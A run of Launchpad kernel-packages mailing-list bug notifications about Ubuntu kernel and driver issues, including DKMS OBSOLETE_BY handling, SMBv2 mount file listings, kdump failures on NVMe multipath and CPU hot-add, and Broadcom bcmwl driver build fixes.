[Kernel-packages] [Bug 1828948] Re: OBSOLETE_BY in DKMS.CONF does not work
** Changed in: dkms (Ubuntu Disco) Importance: Undecided => High -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to dkms in Ubuntu. https://bugs.launchpad.net/bugs/1828948 Title: OBSOLETE_BY in DKMS.CONF does not work Status in DKMS: Fix Released Status in OEM Priority Project: Fix Committed Status in dkms package in Ubuntu: Fix Released Status in dkms source package in Bionic: Fix Committed Status in dkms source package in Disco: Fix Committed Bug description: [Impact] OBSOLETE_BY in DKMS.CONF not work Which also be reported on upstream: https://github.com/dell/dkms/issues/81 [Test case] 1. add OBSOLETE_BY in DKMS.CONF e.g. OBSOLETE_BY="4.15.0-1033" 2. the kernel module should not be built with kernel greater than the version specified by OBSOLETE_BY e.g. - user install kernel 4.15.0-1030 and 4.15.0-10360 - user install kernel oem-wifi-qualcomm-ath10k-lp1803647-4.15-dkms [1] which has OBSOLETE_BY="4.15.0-1033" - the kernel module from dkms [1] should only built for 4.15.0-1030, but not for 4.15.0-10360 [Regression potential] None as it used to work, but somehow regression there. [1] https://code.launchpad.net/~alextu/+recipe/oem-wifi-qualcomm- ath10k-lp1803647-4.15-dkms-daily To manage notifications about this bug go to: https://bugs.launchpad.net/dkms/+bug/1828948/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1572132] Re: SMBv2+ does not show all files when mounting a windows share
** Package changed: cifs-utils (Debian) => linux (Debian) -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1572132 Title: SMBv2+ does not show all files when mounting a windows share Status in Linux: Unknown Status in linux package in Ubuntu: Confirmed Status in linux package in Debian: Confirmed Bug description: When using the SMBv2 Protocol to mount a top level windows share (such as C:\) not all files (or directories) are shown that exist on the server side. Exactly 2 files are always missing... Steps to reproduce: On a windows7 PC (or Server) e.g. C:\ must be published as Share (must be top level share - a subfolder like C:\data\ seems to work) sudo mount -t cifs //SERVER/SHARE_NAME /mnt -o domain=DOMAIN_NAME,username=${USER},uid=1000,gid=1000,nounix,vers=2.0 As a result always 2 Files (or directories) are missing in the mounted directory of the ubuntu installation. Seems to be a kernel bug (source tree: linux/fs/cifs). The ubuntu versions I have checked: Ubuntu 14.04LTS amd64 Ubuntu 15.10 amd64 Ubuntu 16.04 amd64 ProblemType: Bug DistroRelease: Ubuntu 16.04 Package: ubuntu-release-upgrader-core 1:16.04.12 ProcVersionSignature: Ubuntu 4.4.0-18.34-generic 4.4.6 Uname: Linux 4.4.0-18-generic x86_64 ApportVersion: 2.20.1-0ubuntu2 Architecture: amd64 CrashDB: ubuntu CurrentDesktop: KDE Date: Tue Apr 19 14:50:02 2016 InstallationDate: Installed on 2016-04-19 (0 days ago) InstallationMedia: Kubuntu 16.04 LTS "Xenial Xerus" - Release amd64 (20160417.1) PackageArchitecture: all SourcePackage: ubuntu-release-upgrader Symptom: ubuntu-release-upgrader UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/linux/+bug/1572132/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1778844] Re: nvme multipath does not report path relationships
** No longer affects: linux (Ubuntu) ** No longer affects: linux (Ubuntu Bionic) ** No longer affects: linux (Ubuntu Cosmic) ** No longer affects: linux (Ubuntu Disco) -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1778844 Title: nvme multipath does not report path relationships Status in The Ubuntu-power-systems project: In Progress Status in initramfs-tools package in Ubuntu: Fix Released Status in initramfs-tools source package in Bionic: In Progress Status in initramfs-tools source package in Cosmic: In Progress Status in initramfs-tools source package in Disco: Fix Released Bug description: [Impact] initramfs created with MODULES=dep or kdump initrd won't boot a system with root filesystem on a multipath nvme. [Test case] Systems with nvme multipath were able to boot with the created initramfs. Also tested on systems with non-multipath nvme, and non nvme systems. [Regression potential] A system could fail to boot because the generated initramfs was broken. The code should just add modules, which is safer than removing modules or doing any other changes. In any case, it was tested to boot on multipath nvme, non multipath nvme and non nvme systems. - Problem Description: === After triggering crash ,kdump is not working & system enters into initramfs state Steps to re-create: == >. woo is installed ubuntu180401 kernel root@woo:~# uname -a Linux woo 4.15.0-23-generic #25-Ubuntu SMP Wed May 23 17:59:00 UTC 2018 ppc64le ppc64le ppc64le GNU/Linux root@woo:~# >. Crashkernel value as below root@woo:~# free -h totalusedfree shared buff/cache available Mem: 503G2.0G501G 13M279M 499G Swap: 2.0G 0B2.0G root@woo:~# cat /proc/cmdline root=UUID=45bb7eb2-4c61-425d-8bf9-4e6f16829ddb ro splash quiet crashkernel=8192M > kdump status root@woo:~# kdump-config status current state : ready to kdump root@woo:~# kdump-config show DUMP_MODE:kdump USE_KDUMP:1 KDUMP_SYSCTL: kernel.panic_on_oops=1 KDUMP_COREDIR:/var/crash crashkernel addr: /var/lib/kdump/vmlinuz: symbolic link to /boot/vmlinux-4.15.0-23-generic kdump initrd: /var/lib/kdump/initrd.img: symbolic link to /var/lib/kdump/initrd.img-4.15.0-23-generic current state:ready to kdump kexec command: /sbin/kexec -p --command-line="root=UUID=45bb7eb2-4c61-425d-8bf9-4e6f16829ddb ro splash quiet nr_cpus=1 systemd.unit=kdump-tools.service irqpoll noirqdistrib nousb" --initrd=/var/lib/kdump/initrd.img /var/lib/kdump/vmlinuz root@woo:~# dmesg | grep Reser [0.00] Reserving 8192MB of memory at 128MB for crashkernel (System RAM: 524288MB) [0.00] cma: Reserved 26224 MiB at 0x20399500 [3.545490] Copyright (C) 2017-2018 Broadcom. All Rights Reserved. The term "Broadcom" refers to Broadcom Limited and/or its subsidiaries. > Triggered crash root@woo:~# echo 1 > /proc/sys/kernel/sysrq root@woo:~# echo c > /proc/sysrq-trigger [ 73.056308] sysrq: SysRq : Trigger a crash [ 73.056357] Unable to handle kernel paging request for data at address 0x [ 73.056459] Faulting instruction address: 0xc07f24c8 [ 73.056543] Oops: Kernel access of bad area, sig: 11 [#1] [ 73.056609] LE SMP NR_CPUS=2048 NUMA PowerNV [ 73.056668] Modules linked in: rdma_ucm(OE) ib_ucm(OE) rdma_cm(OE) iw_cm(OE) ib_ipoib(OE) ib_cm(OE) ib_uverbs(OE) ib_umad(OE) esp6_offload esp6 esp4_offload esp4 xfrm_algo mlx5_fpga_tools(OE) mlx4_en(OE) mlx4_ib(OE) mlx4_core(OE) rpcsec_gss_krb5 nfsv4 nfs fscache binfmt_misc idt_89hpesx vmx_crypto crct10dif_vpmsum ofpart cmdlinepart ipmi_powernv ipmi_devintf at24 powernv_flash ipmi_msghandler ibmpowernv mtd opal_prd uio_pdrv_genirq uio nfsd auth_rpcgss nfs_acl lockd sch_fq_codel grace sunrpc knem(OE) ip_tables x_tables autofs4 btrfs xor zstd_compress raid6_pq mlx5_ib(OE) ib_core(OE) nouveau lpfc ast i2c_algo_bit ttm mlx5_core(OE) drm_kms_helper mlxfw(OE) nvmet_fc devlink syscopyarea nvmet mlx_compat(OE) sysfillrect cxl nvme_fc sysimgblt fb_sys_fops nvme_fabrics nvme ahci crc32c_vpmsum drm scsi_transport_fc [ 73.057601] tg3 libahci nvme_core pnv_php [ 73.057652] CPU: 44 PID: 4626 Comm: bash Tainted: G OE 4.15.0-23-generic #25-Ubuntu [ 73.057767] NIP: c07f24c8 LR: c07f3568 CTR: c07f24a0 [ 73.057868] REGS: c03f8269f9f0 TRAP: 0300 Tainted: G OE (4.15.0-23-generic) [ 73.057986] MSR: 90009033 CR: 2822 XER: 2004 [ 73.058099] CFAR: c07f3564 DAR: DSISR: 4200 SOFTE: 1 [ 73.058099] GPR00: c07f3568 c03f8269fc70 c16eaf00
[Kernel-packages] [Bug 1358966] Re: Broadcom kernel module failed to build [error: macro "alloc_netdev" requires 4 arguments, but only 3 given]
** Tags added: verification-needed-trusty -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to bcmwl in Ubuntu. https://bugs.launchpad.net/bugs/1358966 Title: Broadcom kernel module failed to build [error: macro "alloc_netdev" requires 4 arguments, but only 3 given] Status in bcmwl package in Ubuntu: Fix Released Status in bcmwl source package in Trusty: Fix Committed Bug description: bcmwl-kernel-source 6.30.223.248+bdcom-0ubuntu1 will not build with linux-3.17-rc1 from Ubuntu kernel ppa (Mainline). Tried custom kernel as well from kernel archives 3.17-rc1. APPORT ERROR ProblemType: Package DistroRelease: Ubuntu 14.10 Package: bcmwl-kernel-source 6.30.223.248+bdcom-0ubuntu1 Uname: Linux 3.16.1-custom x86_64 NonfreeKernelModules: nvidia wl ApportVersion: 2.14.6-0ubuntu1 Architecture: amd64 DKMSKernelVersion: 3.17.0-031700rc1-generic Date: Tue Aug 19 19:42:02 2014 DuplicateSignature: dkms:bcmwl-kernel-source:6.30.223.248+bdcom-0ubuntu1:/var/lib/dkms/bcmwl/6.30.223.248+bdcom/build/src/wl/sys/wl_linux.c:1316:64: error: macro "alloc_netdev" requires 4 arguments, but only 3 given InstallationDate: Installed on 2014-07-05 (45 days ago) InstallationMedia: Ubuntu "Utopic" - Build amd64 LIVE Binary 20140703-15:52 PackageVersion: 6.30.223.248+bdcom-0ubuntu1 SourcePackage: bcmwl Title: bcmwl-kernel-source 6.30.223.248+bdcom-0ubuntu1: bcmwl kernel module failed to build UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/bcmwl/+bug/1358966/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1173761] Re: 14e4:43b1 Broadcom Corporation Device 43b1 (rev 03) - not supported
** Tags added: verification-needed-trusty -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to bcmwl in Ubuntu. https://bugs.launchpad.net/bugs/1173761 Title: 14e4:43b1 Broadcom Corporation Device 43b1 (rev 03) - not supported Status in bcmwl package in Ubuntu: Fix Released Status in bcmwl source package in Trusty: Fix Committed Bug description: Both during and after installation, 13.04 doesn't support the Broadcom-based 802.11ac wifi chipsets. lspci reports it as "Network controller: Broadcom Corporation Device 43b1 (rev 03)". WORKAROUND: 6_30_223_95 driver in http://people.canonical.com/~ypwong/drivers/broadcom/ , install an old version: https://launchpad.net/ubuntu/saucy/amd64/bcmwl-kernel- source/6.30.223.30+bdcom-0ubuntu3 (found at http://gaspuu.blogspot.no/2014/05/dell-precision-m4800-with-ubuntu- linux.html), or simply replace the wifi module with another one with better driver support (if laptop has no whitelist for modules). --- ApportVersion: 2.9.2-0ubuntu8 Architecture: amd64 DistroRelease: Ubuntu 13.04 EcryptfsInUse: Yes InstallationDate: Installed on 2013-04-27 (0 days ago) InstallationMedia: Ubuntu 13.04 "Raring Ringtail" - Release amd64 (20130424) MarkForUpload: True NonfreeKernelModules: nvidia Package: linux (not installed) Tags: raring Uname: Linux 3.9.0-030900rc8-generic x86_64 UnreportableReason: The running kernel is not an Ubuntu kernel UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo --- ApportVersion: 2.9.2-0ubuntu8 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC1: atrauzzi 2141 F pulseaudio /dev/snd/controlC0: atrauzzi 2141 F pulseaudio CRDA: Error: command ['iw', 'reg', 'get'] failed with exit code 1: nl80211 not found. CurrentDmesg: [ 176.287266] atl1c :04:00.0: vpd r/w failed. This is likely a firmware bug on this device. Contact the card vendor for a firmware update. DistroRelease: Ubuntu 13.04 EcryptfsInUse: Yes HibernationDevice: RESUME=UUID=90e84f80-b3fc-4480-b4cd-21d15e3abc6d InstallationDate: Installed on 2013-04-27 (0 days ago) InstallationMedia: Ubuntu 13.04 "Raring Ringtail" - Release amd64 (20130424) MachineType: ASUSTeK COMPUTER INC. G75VX MarkForUpload: True NonfreeKernelModules: nvidia Package: linux (not installed) ProcFB: 0 EFI VGA ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-3.8.0-19-generic root=UUID=b0911040-5a49-4581-9a7a-bac9d830a0ba ro nomodeset quiet splash vt.handoff=7 ProcVersionSignature: Ubuntu 3.8.0-19.29-generic 3.8.8 RelatedPackageVersions: linux-restricted-modules-3.8.0-19-generic N/A linux-backports-modules-3.8.0-19-generic N/A linux-firmware1.106 StagingDrivers: r8712u Tags: raring staging Uname: Linux 3.8.0-19-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo dmi.bios.date: 10/23/2012 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: G75VX.203 dmi.board.asset.tag: ATN12345678901234567 dmi.board.name: G75VX dmi.board.vendor: ASUSTeK COMPUTER INC. dmi.board.version: 1.0 dmi.chassis.asset.tag: No Asset Tag dmi.chassis.type: 10 dmi.chassis.vendor: ASUSTeK COMPUTER INC. dmi.chassis.version: 1.0 dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrG75VX.203:bd10/23/2012:svnASUSTeKCOMPUTERINC.:pnG75VX:pvr1.0:rvnASUSTeKCOMPUTERINC.:rnG75VX:rvr1.0:cvnASUSTeKCOMPUTERINC.:ct10:cvr1.0: dmi.product.name: G75VX dmi.product.version: 1.0 dmi.sys.vendor: ASUSTeK COMPUTER INC. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/bcmwl/+bug/1173761/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1342645] Re: upgrade bcmwl-kernel-source to 6.30.223.248
** Tags added: verification-needed-trusty -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to bcmwl in Ubuntu. https://bugs.launchpad.net/bugs/1342645 Title: upgrade bcmwl-kernel-source to 6.30.223.248 Status in bcmwl package in Ubuntu: Fix Released Status in bcmwl source package in Trusty: Fix Committed Bug description: The latest version from broadcom is 6.30.223.248 http://www.broadcom.com/support/802.11/linux_sta.php Release notes: WHAT'S NEW IN RELEASE 6.30.223.23X - + Upgraded to Support 3.11 kernels + Added cfg80211 wowlan support for Magic Packets and Disconnect WHAT'S NEW IN RELEASE 6.30.223.126 -- + Upgraded to Support 3.8.x + Added 43142 support + Added 4352 support + Dropped WEXT support To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/bcmwl/+bug/1342645/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1491070] Re: On removal the package should warn a reboot is needed
** Tags added: verification-needed-trusty -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to bcmwl in Ubuntu. https://bugs.launchpad.net/bugs/1491070 Title: On removal the package should warn a reboot is needed Status in bcmwl package in Ubuntu: Fix Released Status in bcmwl source package in Trusty: Fix Committed Bug description: When the bcmwl-kernel-source package is removed it should communicate that a reboot is needed. This will be picked up by software- properties-gtk and be communicated to the user. Attached is a patch. This will help with this bug https://bugs.launchpad.net/ubuntu/+source/b43-fwcutter/+bug/1490212 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/bcmwl/+bug/1491070/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1424676] Re: bcmwl-kernel-source 6.30.223.248+bdcom-0ubuntu2: bcmwl kernel module failed to build with kernel 4.0 [error: ‘STATION_INFO_TX_BITRATE’ undeclared (first use in this
** No longer affects: bcmwl (Ubuntu Trusty) ** Also affects: bcmwl (Ubuntu Trusty) Importance: Undecided Status: New ** Changed in: bcmwl (Ubuntu Trusty) Status: New => Fix Committed ** Changed in: bcmwl (Ubuntu Trusty) Importance: Undecided => High ** Tags added: verification-needed-trusty -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to bcmwl in Ubuntu. https://bugs.launchpad.net/bugs/1424676 Title: bcmwl-kernel-source 6.30.223.248+bdcom-0ubuntu2: bcmwl kernel module failed to build with kernel 4.0 [error: ‘STATION_INFO_TX_BITRATE’ undeclared (first use in this function)] Status in bcmwl package in Ubuntu: Fix Released Status in bcmwl source package in Precise: Won't Fix Status in bcmwl source package in Trusty: Fix Committed Status in bcmwl source package in Vivid: Won't Fix Bug description: bcmwl-kernel-source 6.30.223.248+bdcom-0ubuntu2: bcmwl kernel module failed to build ProblemType: Package DistroRelease: Ubuntu 15.04 Package: bcmwl-kernel-source 6.30.223.248+bdcom-0ubuntu2 ProcVersionSignature: Ubuntu 3.18.0-13.14-generic 3.18.5 Uname: Linux 3.18.0-13-generic x86_64 NonfreeKernelModules: wl ApportVersion: 2.16.1-0ubuntu2 Architecture: amd64 DKMSKernelVersion: 4.0.0-04rc1-generic Date: Mon Feb 23 18:14:07 2015 DuplicateSignature: dkms:bcmwl-kernel-source:6.30.223.248+bdcom-0ubuntu2:/var/lib/dkms/bcmwl/6.30.223.248+bdcom/build/src/wl/sys/wl_cfg80211_hybrid.c:1444:20: error: ‘STATION_INFO_TX_BITRATE’ undeclared (first use in this function) InstallationDate: Installed on 2014-11-22 (93 days ago) InstallationMedia: Ubuntu 15.04 "Vivid Vervet" - Alpha amd64 (20141121) PackageVersion: 6.30.223.248+bdcom-0ubuntu2 SourcePackage: bcmwl Title: bcmwl-kernel-source 6.30.223.248+bdcom-0ubuntu2: bcmwl kernel module failed to build UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/bcmwl/+bug/1424676/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1415880] Re: 14e4:4365 bcmwl-kernel source: fix for null pointer crash
** Tags added: verification-needed-trusty ** No longer affects: bcmwl (Ubuntu Trusty) ** Also affects: bcmwl (Ubuntu Trusty) Importance: Undecided Status: New ** Changed in: bcmwl (Ubuntu Trusty) Status: New => Fix Committed ** Changed in: bcmwl (Ubuntu Trusty) Importance: Undecided => High -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to bcmwl in Ubuntu. https://bugs.launchpad.net/bugs/1415880 Title: 14e4:4365 bcmwl-kernel source: fix for null pointer crash Status in bcmwl package in Ubuntu: Fix Released Status in bcmwl source package in Precise: Won't Fix Status in bcmwl source package in Trusty: Fix Committed Status in bcmwl source package in Vivid: Won't Fix Status in bcmwl source package in Wily: Fix Released Bug description: [Impact] * bcmwl does not compile on new kernels (or HWE kernels) * bcmwl suffers from null reference bug [Test Case] * public PPA provided to community and feedback * based on patch available to other distros * comment #42 [Regression Potential] * for changes on kernel support it may not compile (tested with 3.2, 3.13, 3.18 and 4.2) * for the null reference change -> proved to fix problem for community based on feedback [Other Info] Original bug description: The bcmwl package as of now misses one patch for a bug that occurs with BCM43142 and possibly other broadcom chipsets that will look like random disconnects, poor wifi signal and kernel warnings, See also #1379524. Adding the patch is a fairly simple process: * put the patch file in /usr/src/bcmwl-6.30.223.248+bdcom/patches * add the following line to /usr/src/bcmwl-6.30.223.248+bdcom/dkms.conf PATCH[7]="0014-null-pointer-crash.patch" * run: /usr/lib/dkms/common.postinst bcmwl 6.30.223.248+bdcom /usr/share/bcmwl x86_64 $(uname -r) This has fixed the issue for me. Edit: I just wanted to add that I did not write the patch; I merely downloaded it from a paste that was linked from the respective AUR package. ProblemType: Bug DistroRelease: Ubuntu 14.10 Package: bcmwl-kernel-source 6.30.223.248+bdcom-0ubuntu1 [modified: usr/src/bcmwl-6.30.223.248+bdcom/dkms.conf] ProcVersionSignature: Ubuntu 3.16.0-29.39-generic 3.16.7-ckt2 Uname: Linux 3.16.0-29-generic x86_64 NonfreeKernelModules: wl ApportVersion: 2.14.7-0ubuntu8.1 Architecture: amd64 CurrentDesktop: LXDE Date: Thu Jan 29 13:15:17 2015 InstallationDate: Installed on 2015-01-26 (3 days ago) InstallationMedia: Lubuntu 14.10 "Utopic Unicorn" - Release amd64 (20141022.1) SourcePackage: bcmwl UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/bcmwl/+bug/1415880/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1490713] Re: The Debian control file's "modaliases" is too generic
** Tags added: verification-needed-trusty -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to bcmwl in Ubuntu. https://bugs.launchpad.net/bugs/1490713 Title: The Debian control file's "modaliases" is too generic Status in bcmwl package in Ubuntu: Fix Released Status in bcmwl source package in Trusty: Fix Committed Bug description: Software-properties-gtk offers wl as the driver for all Broadcom wifi cards, regardless of whether they are supported or not. This is due to the modaliases field used by the bcmwl-kernel-source package. Although in reality I know very little about such things, I'll attach a proposed debian/bcmwl-kernel-source.modaliases file based on the info here: http://www.broadcom.com/docs/linux_sta/README_6.30.223.248.txt Users are going through needless painful procedures to get the correct working driver. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/bcmwl/+bug/1490713/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1828596] Re: kdump fails when crash is triggered after DLPAR cpu add operation
** No longer affects: kexec-tools (Ubuntu Eoan) ** No longer affects: kexec-tools (Ubuntu Disco) ** No longer affects: kexec-tools (Ubuntu Cosmic) ** No longer affects: kexec-tools (Ubuntu Bionic) ** No longer affects: kexec-tools (Ubuntu Xenial) ** No longer affects: kexec-tools (Ubuntu) -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to kexec-tools in Ubuntu. https://bugs.launchpad.net/bugs/1828596 Title: kdump fails when crash is triggered after DLPAR cpu add operation Status in The Ubuntu-power-systems project: In Progress Status in makedumpfile package in Ubuntu: Fix Released Status in makedumpfile source package in Xenial: New Status in makedumpfile source package in Bionic: Fix Committed Status in makedumpfile source package in Cosmic: Won't Fix Status in makedumpfile source package in Disco: Fix Committed Status in makedumpfile source package in Eoan: Fix Released Bug description: [Impact] After a CPU add/hotplug operation on Power systems, kdump will fail after a crash. The kdump kernel needs to be reloaded after a CPU add/hotplug. [Test case] Do CPU add/hotplug, trigger a crash, and check for a successful kdump. [Regression potential] Multiple reloads caused by multiple sequential CPU adds may cause spurious log results, and systemd may fail to properly reload the kdump kernel. This has been handled by resetting the failure counter when doing such reloads. == Comment: #0 - Hari Krishna Bathini - 2019-05-10 05:55:40 == ---Problem Description--- kdump fails when crash is triggered after CPU add operation. Machine Type = na ---System Hang--- Crashed in early boot process of kdump kernel after crash Had to issue system reset from HMC to reclaim ---Steps to Reproduce--- 1. Configure kdump. 2. Add cpu from HMC. 3. Trigger crash. 4. Machine hangs after crash as below: --- [169250.213166] IPI complete [169250.234331] kexec: Starting switchover sequence. I'm in purgatory --- STRUCK HERE --- ---uname output--- na ---Debugger--- A debugger is not configured == Comment: #1 - Hari Krishna Bathini - 2019-05-10 05:56:46 == The problem is, kexec udev rule to restart kdump-tools service - when a core is added, is not being triggered. The old DT created by kexec (before the core is added) is being used by KDump Kernel. So, when system crashes on a thread from the added core(s), KDump kernel is failing to get the 'boot_cpuid' and eventually failing to boot.. == Comment: #2 - Hari Krishna Bathini - 2019-05-10 06:02:27 == The udev rule when CPU is added is not triggered because ppc64 does not eject add/remove event when a CPU is hot added/removed. It only ejects online/offline event to user space when CPU is hot added/removed. So, the below udev rules are never triggered when needed: SUBSYSTEM=="cpu", ACTION=="add", PROGRAM="/bin/systemctl try-restart kdump-tools.service" SUBSYSTEM=="cpu", ACTION=="remove", PROGRAM="/bin/systemctl try-restart kdump-tools.service" Also, with how CPU hot add & remove are handled in ppc64, a udev trigger to reload kdump after CPU is hot removed is NOT necessary. So, fix the CPU hot add case by updating the udev rule and drop the udev rule meant for CPU hot remove in the kdump udev rules file: SUBSYSTEM=="cpu", ACTION=="online", PROGRAM="/bin/systemctl try- restart kdump-tools.service" To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu-power-systems/+bug/1828596/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1828948] Re: OBSOLETE_BY in DKMS.CONF not work
** Changed in: dkms (Ubuntu) Importance: Undecided => High ** Changed in: dkms (Ubuntu Bionic) Importance: Undecided => High -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to dkms in Ubuntu. https://bugs.launchpad.net/bugs/1828948 Title: OBSOLETE_BY in DKMS.CONF not work Status in DKMS: Confirmed Status in OEM Priority Project: Fix Committed Status in dkms package in Ubuntu: Fix Released Status in dkms source package in Bionic: New Bug description: [Impact] OBSOLETE_BY in DKMS.CONF not work Which also be reported on upstream: https://github.com/dell/dkms/issues/81 [Test case] 1. add OBSOLETE_BY in DKMS.CONF e.g. OBSOLETE_BY="4.15.0-1033" 2. the kernel module should not be built with kernel greater than the version specified by OBSOLETE_BY e.g. - user install kernel 4.15.0-1030 and 4.15.0-10360 - user install kernel oem-wifi-qualcomm-ath10k-lp1803647-4.15-dkms [1] which has OBSOLETE_BY="4.15.0-1033" - the kernel module from dkms [1] should only built for 4.15.0-1030, but not for 4.15.0-10360 [Regression potential] None as it used to work, but somehow regression there. [1] https://code.launchpad.net/~alextu/+recipe/oem-wifi-qualcomm- ath10k-lp1803647-4.15-dkms-daily To manage notifications about this bug go to: https://bugs.launchpad.net/dkms/+bug/1828948/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1828948] Re: OBSOLETE_BY in DKMS.CONF not work
Fixed upstream with https://github.com/dell/dkms/issues/81 ** Bug watch added: github.com/dell/dkms/issues #81 https://github.com/dell/dkms/issues/81 ** Changed in: dkms Status: Confirmed => Fix Released ** Tags added: regression-release -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to dkms in Ubuntu. https://bugs.launchpad.net/bugs/1828948 Title: OBSOLETE_BY in DKMS.CONF not work Status in DKMS: Fix Released Status in OEM Priority Project: Fix Committed Status in dkms package in Ubuntu: Fix Released Status in dkms source package in Bionic: New Bug description: [Impact] OBSOLETE_BY in DKMS.CONF not work Which also be reported on upstream: https://github.com/dell/dkms/issues/81 [Test case] 1. add OBSOLETE_BY in DKMS.CONF e.g. OBSOLETE_BY="4.15.0-1033" 2. the kernel module should not be built with kernel greater than the version specified by OBSOLETE_BY e.g. - user install kernel 4.15.0-1030 and 4.15.0-10360 - user install kernel oem-wifi-qualcomm-ath10k-lp1803647-4.15-dkms [1] which has OBSOLETE_BY="4.15.0-1033" - the kernel module from dkms [1] should only built for 4.15.0-1030, but not for 4.15.0-10360 [Regression potential] None as it used to work, but somehow regression there. [1] https://code.launchpad.net/~alextu/+recipe/oem-wifi-qualcomm- ath10k-lp1803647-4.15-dkms-daily To manage notifications about this bug go to: https://bugs.launchpad.net/dkms/+bug/1828948/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1820868] Re: bionic: fork out linux-snapdragon into its own topic kernel
** No longer affects: linux-hwe-edge (Ubuntu) -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-meta in Ubuntu. https://bugs.launchpad.net/bugs/1820868 Title: bionic: fork out linux-snapdragon into its own topic kernel Status in linux package in Ubuntu: Fix Released Status in linux-meta package in Ubuntu: Fix Released Status in linux-snapdragon package in Ubuntu: Fix Committed Status in linux source package in Bionic: Fix Released Status in linux-hwe-edge source package in Bionic: Fix Committed Status in linux-meta source package in Bionic: Fix Released Status in linux-snapdragon source package in Bionic: Fix Released Bug description: Impact: During the Bionic cycle, a decision was made to incorporate the linux-snapdragon kernel into the master branch, thus reducing the number of topic kernels and the stable maintenance burden. But as time passed and new patches were produced by Qualcomm, incorporating them into master while avoiding to destabilize generic became more and more problematic, down to the point where it was not a viable approach anymore. At that point, the decision was made to fork out linux-snapdragon into its own topic kernel (e.g. linux-raspi2), giving more room to incorporate new code coming from the Qualcomm tree and avoiding to destabilize any other target in generic. Fix: This is a three step process: 1) disable building linux-snapdragon from master by applying the attached patch to bionic/master 2) create a new bionic/linux-snapdragon branch and reset hard to my lp:snapdragon-topic-kernel branch (see below) 3) update bionic-meta to point to the new bionic/linux-snapdragon kernel Regression potential From the point of view of bionic/master, this pull request doesn't introduce any substantial change, and in the future will let us purge generic from several external patches. While from the point of view of linux-snapdragon, with ~600 code commits and ~4k config changes, this represent a brand new kernel and while great care was used while putting together this branch, there's clearly a regression potential here but we can't leave linux-snapdragon stagnate behind the curve, so the sooner we bite the bullet, the better we can the deal with the eventual fallout. To manage notifications about this 